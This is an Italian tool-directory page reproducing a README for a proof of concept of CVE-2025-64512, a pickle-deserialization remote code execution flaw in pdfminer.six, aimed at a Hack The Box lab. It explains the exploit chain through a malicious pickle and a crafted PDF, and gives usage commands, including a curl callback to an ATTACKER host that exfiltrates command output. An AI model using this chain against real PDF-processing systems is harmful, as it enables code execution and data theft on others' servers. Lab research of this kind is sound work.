Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-64512-pdfminer-PoC — PoC per CVE-2025-64512: RCE tramite deserializzazione pickle di CMapDB in pdfminer.six con un PDF appositamente creato | Kitploit
Strumenti/GitHubGitHub/oguzylmzx/cve-2025-64512-pdfminer-poc
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo Payload
GitHuboguzylmzx/cve-2025-64512-pdfminer-poc

CVE-2025-64512-pdfminer-PoC

PoC per CVE-2025-64512: RCE tramite deserializzazione pickle di CMapDB in pdfminer.six con un PDF appositamente creato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
227 giorni faNon ancora revisionato
Condividi

CVE-2025-64512 — PoC di deserializzazione CMapDB di pdfminer.six

Proof-of-Concept per una vulnerabilità di deserializzazione in pdfminer.six che porta all'esecuzione arbitraria di codice durante l'analisi di un PDF appositamente predisposto.

SCOPO / DISCLAIMER LEGALE Questo repository è fornito solo per scopi educativi e ricerca di sicurezza autorizzata. Riproduce una CVE pubblicamente divulgata e corretta. Non utilizzarlo contro sistemi di cui non sei proprietario o per i quali non disponi di autorizzazione scritta al test. L'autore non è responsabile di qualsiasi uso improprio. Ambiente previsto: Hack The Box / VulnHub / lab locale.

Vulnerabilità

  • CVE: CVE-2025-64512
  • Versioni interessate: pdfminer.six precedenti a 20250506
  • Corretta in: 20250506
  • Tipo: Deserializzazione di dati non attendibili (CWE-502)
  • In cmapdb.py, CMapDB._load_data() legge un file CMap il cui nome deriva dalla voce /Encoding di un font PDF e passa il contenuto a pickle.loads():

    root@kitploit:~
    def _load_data(cls, name):
        name = name.replace("\0", "")
        filename = "%s.pickle.gz" % name
        log.debug("loading: %r", name)
        cmap_paths = (
            os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
            os.path.join(os.path.dirname(__file__), "cmap"),
        )
        for directory in cmap_paths:
            path = os.path.join(directory, filename)
            if os.path.exists(path):
                gzfile = gzip.open(path)
                try:
                    return type(str(name), (), pickle.loads(gzfile.read()))
                finally:
                    gzfile.close()
        raise CMapDB.CMapNotFound(name)
    

    Tre proprietà si combinano per rendere sfruttabile la vulnerabilità:

    1. pickle.loads() su dati controllati dall'attaccante -> esecuzione arbitraria di codice.
    2. Poiché il nome del file è assoluto, os.path.join() ignora la directory di ricerca e apre il file in quel percorso esatto.
    3. .pickle.gz viene aggiunto automaticamente, quindi il percorso è fornito senza estensione.

    Catena di exploit

    L'exploit richiede il caricamento di due file nell'applicazione web vulnerabile:

    1. payload.pickle.gz — un pickle compresso con gzip il cui __reduce__ esegue un comando e restituisce un dict a forma di CMap (così il parsing continua senza problemi dopo l'esecuzione del payload).
    2. trigger.pdf — un PDF minimale che usa un Type0/CIDFont il cui font /Encoding punta al percorso assoluto del pickle (senza estensione).

    Due dettagli a livello di PDF sono importanti:

    • CMapDB.get_cmap() viene raggiunto solo tramite un CIDFont (un font Type0 con una voce DescendantFonts), non tramite un semplice font Type1.
    • Un token di nome PDF inizia con un delimitatore /, quindi il percorso codificato deve iniziare con #2f per preservare lo slash iniziale del percorso assoluto. Anche gli slash interni sono #2f perché / è un delimitatore di nome.

    Quando il target analizza il PDF (ad es. un watcher in background che chiama pdf2txt.py), CMapDB._load_data() apre il pickle ed esegue il comando.

    Utilizzo

    root@kitploit:~
    # 1. Build the malicious pickle (gzip-compressed)
    python3 make_payload.py 'id; whoami' -o payload.pickle.gz
    
    # 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
    python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
    
    # 3. Upload both files to the vulnerable PDF upload form, then wait for
    #    the processing watcher to pick up trigger.pdf
    

    Verificato end-to-end contro pdfminer.six 20250416 (vulnerabile): l'esecuzione di pdf2txt.py trigger.pdf esegue il comando del payload ed esce con codice 0.

    Il comando del payload è blind (senza output); esfiltra i dati tramite callback, ad es.:

    root@kitploit:~
    python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
    

    File

    FileScopo
    make_payload.pyGenera il payload.pickle.gz malevolo
    make_trigger_pdf.pyGenera il PDF trigger con /Encoding e offset xref corretti

    Riferimenti

    • CVE-2025-64512 (NVD)
    • changelog di pdfminer.six / commit di correzione per 20250506
    • Macchina Hack The Box Bedside (riproduzione autorizzata in laboratorio)
    Scarica lo strumento